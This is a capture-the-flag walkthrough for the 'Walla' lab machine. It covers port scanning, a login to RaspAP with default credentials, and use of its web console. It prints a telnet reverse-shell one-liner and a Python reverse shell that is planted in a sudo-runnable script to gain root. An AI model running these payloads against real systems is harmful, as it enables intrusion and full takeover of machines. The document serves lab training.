> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/pg-practice/linux/walla.md).

# Walla

## Nmap

```
sudo nmap 192.168.233.97 -p- -sS -sV

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
23/tcp    open  telnet     Linux telnetd
25/tcp    open  smtp       Postfix smtpd
53/tcp    open  tcpwrapped
422/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
8091/tcp  open  http       lighttpd 1.4.53
42042/tcp open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
Service Info: Host:  walla; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Connecting to port 8091 asks credentials for "RaspAP". Which is Debian based software for wireless routers.

![](/files/-MWdh4stfdzI5g8XTWfK)

Looking up the default credentials we can log in with `admin:secret`.

![http://192.168.233.97:8091/](/files/-MWdiojlyOmTukN3X80z)

Checking the settings we are running version 2.5. PoC exist here:<https://raw.githubusercontent.com/lb0x/cve-2020-24572/master/raspap_pwn.py>. However I was unable to get code execution from this.

Looking at the exploit code we can see it is trying to interact with webconsole.php

![](/files/-MYHFGnJHPFVQlYdDfv6)

We can manually browse to this at: <http://192.168.233.97:8091/includes/webconsole.php>.

![](/files/-MWdyMCEBKQ_TaPbh_uC)

This along with telnet running on the target machine we can obtain a proper reverse shell:

```
mknod a p && telnet 192.168.49.233 443 0<a | /bin/sh 1>a
```

![](/files/-MWdzQe5BlKONVn5tsCI)

![](/files/-MWdzUQmHLqBDmFPcaR1)

Running linpeas.sh on the target reveals the following interesting information:

![](/files/-MWe-Up_Lur84LDQRFMY)

As www-data we can delete the file /home/walter/wifi\_reset.py and replace it with a python reverse shell of the same name:

```
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.233",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")' > /home/walter/wifi_reset.py
```

Then execute with `sudo` as root:

```
sudo /usr/bin/python /home/walter/wifi_reset.py
```

![](/files/-MWeCHhOkDBKzp_jFofM)